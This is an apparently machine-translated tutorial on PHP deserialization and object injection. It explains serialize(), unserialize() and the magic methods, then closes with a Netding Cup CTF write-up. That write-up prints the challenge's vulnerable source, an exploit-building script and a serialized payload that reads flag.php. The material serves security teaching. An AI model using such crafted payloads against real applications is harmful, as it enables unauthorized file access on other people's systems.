Vulnerability profile
php deserialization vulnerability, also known as php object injection vulnerability.
In short, when php is deserialized, the content of the deserialization is under the control of the user, so the malicious user can construct the code of the specific serialized content, carry out the specific deserialization operation through the deserialize() function, and some sensitive operations somewhere in the program are written in the class, then the malicious code can be used, To perform what the attacker wants.
Causes of vulnerability
The root cause of the vulnerability is that the program does not detect the deserialization string entered by the user, resulting in the deserialization process can be maliciously controlled, resulting in a series of uncontrollable consequences such as code execution and getshell.
What is serialization
- Object to string
- Persistent preservation
- network transmission
What is deserialization
- Convert string to object
Look at a string of codes
<?php class name //Create name class { public $name=''; //Define public variables public function one() //Define function { echo 'I am '.$this->name; } } $who = new name(); //create object $who->name='Iron man'; //assignment $who->one(); //Call function ?>
Operation results:
serialize
<?php class name //Create name class { public $name=''; //Define public variables public function one() //Define function { echo 'I am '.$this->name; } } $who = new name(); //create object $who->name='Iron man'; //assignment $who->one(); //Call function echo '</br>'; $srlz = serialize($who); //serialize echo $srlz; ?>
Operation results
As you can see, the serialize() function converts the object to string output
Parse the serialized string (from front to back)
- O / I: O represents object and I represents array
- four : Object length
- Name: object name
- 1: Number of variables in the object
- s: The data type of the variable, s for string and i for int
- 4: Length of variable name
- Name: variable name
- s: Ibid
- 8: Length of variable value
Deserialization
<?php class name //Create name class { public $name=''; //Define public variables public function one() //Define function { echo 'I am '.$this->name; } } $who = new name(); //create object $who->name='Iron man'; //assignment $who->one(); //Call function echo '</br>'; $srlz = serialize($who); //serialize echo $srlz; echo '</br>'; $unsrlz = unserialize($srlz); //Deserialization $unsrlz->one(); ?>
Operation results
php deserialization vulnerability
PHP will all__ Class methods beginning with (two underscores) remain magic methods
PHP magic function
- __ construct() Called when an object is created
- __ destruct() Called when an object is destroyed
- __ toString() Called when an object is treated as a string
- __ wakeup() Triggered when unserialize is used
- __ sleep() Triggered when serialiaze is used
- __ call() Called when an object calls an inaccessible method
- __ callStatic() Triggered when an inaccessible method is called statically
- __ get() Called when the member variable of a class is obtained
- __ set() Called when a member variable of a class is set
- __ isset() Triggered when isset() or empty() is called on an inaccessible property
- __ unset() Triggered when unset() is called on an inaccessible property
- __ invoke() Triggered when a script attempts to call an object as a function
Let's take a look at a piece of code to roughly understand the calling process of magic functions
<?php class test{ public $varr1="abc"; public $varr2="123"; public function echoP(){ echo $this->varr1."</br>"; } public function __construct(){ echo "__construct</br>"; } public function __destruct(){ echo "__destruct</br>"; } public function __toString(){ return "__toString</br>"; } public function __sleep(){ echo "__sleep</br>"; return array('varr1','varr2'); } public function __wakeup(){ echo "__wakeup</br>"; } } //Instantiate an object, call the construct method, and output__ construct $obj = new test(); //Call the echo method and output abc $obj->echoP(); //Called when the string is output__ ToString method, output__ toString echo $obj; //Serializing objects, calling__ Sleep method, output__ sleep $s = serialize($obj); //Output the serialized string, O:4:"test":2:{s:5:"varr1";s:3:"abc";s:5:"varr2";s:3:"123";} echo $s."</br>"; //Deserialization call__ Wakeup method, output__ wakeup //At this time, the echo is equivalent to outputting the object string, so it is called again__ toString echo unserialize($s); //When the script ends, that is, the object will be destroyed, and__ Destruct, one of which is to deserialize the recovered object, so here is the output twice__ destruct ?>
The running results can clearly see the trigger conditions of each magic function call
Netding cup ctf deserialization
Title code
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
Audit code:
First, it get s a parameter and calls is_ The valid() function performs judgment and filtering, and returns true if the conditions are met
Then deserialize the obtained parameters (unserialize())
The object is then destroyed, triggering__ destruct() function
Observation function__ Destroy() will cast op === "2" to "1", and then trigger process() function
Looking at process(), it is found that the read() function must be op == "2" to enter the final result
However, we can find that when judging op, we use = = =, which will compare the type and value
And = = is a weak type comparison, which only compares values
To construct EXP:
Directly bring in the number 2 for judgment, and "2" = = = not tenable
Then serialize to construct a string
<?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content; } $flag = new FileHandler; $hahaha = serialize($flag); echo $hahaha; ?>
The result is:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
In this case, the parameter is brought in
Get flag!!!